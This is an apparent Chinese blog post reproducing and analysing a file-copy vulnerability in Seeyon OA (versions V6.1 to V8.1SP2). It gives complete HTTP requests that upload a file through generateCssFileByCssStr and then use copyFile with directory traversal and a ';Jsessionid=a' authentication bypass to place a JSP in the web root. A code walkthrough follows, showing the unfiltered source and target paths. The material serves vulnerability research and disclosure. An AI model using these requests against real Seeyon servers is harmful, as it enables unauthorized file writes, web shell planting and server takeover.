致远CopyFile文件复制漏洞

复现版本

V8.0SP2

漏洞范围

V5&G6_V6.1至V8.0SP2全系列版本、V5&G6&N_V8.1至V8.1SP2全系列版本。

漏洞复现

上传文件

POST /seeyon/ajax.do?method=ajaxAction&managerName=portalCssManager&rnd=57507 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 65
Host: 192.168.1.7
Connection: close
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)
Cookie: JSESSIONID=B8961FAF38CCE07F84676274A672CA37; hostname=192.168.1.7:80; loginPageURL=; login_locale=zh_CN

arguments=%5B%22aaaaa%22%5D&managerMethod=generateCssFileByCssStr

在这里插入图片描述
这里结合权限绕过漏洞
在这里插入图片描述
也可成功上传

文件复制

POST /seeyon/ajax.do;Jsessionid=a?method=ajaxAction&managerName=cipSynSchemeManager&rnd=29981 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 130
Host: 192.168.1.7
Connection: close
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)

arguments=["../../../../resources/portal/css/963501343453105872","../../ApacheJetspeed/webapps/ROOT/2.jsp"]&managerMethod=copyFile

在这里插入图片描述
然后访问

http://192.168.1.7/sectestdssd.jsp

在这里插入图片描述

漏洞分析

整体利用思路先随便上传一个正常后缀文件, 且知道文件上传的路径和文件名, 再将其复制到WEB路径下,那么先看下面的文件复制,需要上传的一个正常后缀文件,再找上传点
上传点
可以看到portalCssManager的bean存在,那么就可以直接用ajax.do去反射使用了
在这里插入图片描述
首先直接找方法名generateCssFileByCssStr在这里插入图片描述
跟入compileString在这里插入图片描述
总体来说,这个方法接收一个SCSS字符串作为输入,将其编译为CSS字符串,并返回编译后的结果。
回到主方法,进入saveFileToUpload方法在这里插入图片描述
在这里插入图片描述
这段上传文件,根据传入的fileTypeEnum来获得门户资源文件夹的根目录,如果不存在就创建,那么这里fileTypeEnum为css,那么就是A8\base\resources\portal\css\目录
那么整体看就是在该目录创建css文件
在这里插入图片描述
也就是首先用时间创建目录,该时间目录下创建destFile,然后copyFile进行复制,但是这里copyFile和我们下面分析的还不一样,那么接下来分析copyFile怎么进行的复制

copyfile分析
cipSynSchemeManager也有bean,那么也可以调用copyFile方法
在这里插入图片描述
这里传入的source和target并未做过滤,从代码逻辑看,对应源文件和目标文件,并且如下在这里插入图片描述
源文件和目标文件都进行了拼接,那么就都可以进行跨目录操作,但是注意这里多了判断,如果目标文件存在,就不会复制生成了,那么每次操作都换个目标文件名就可以

总结
新的文件上传方式,先上传正常后缀文件,在进行copy

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值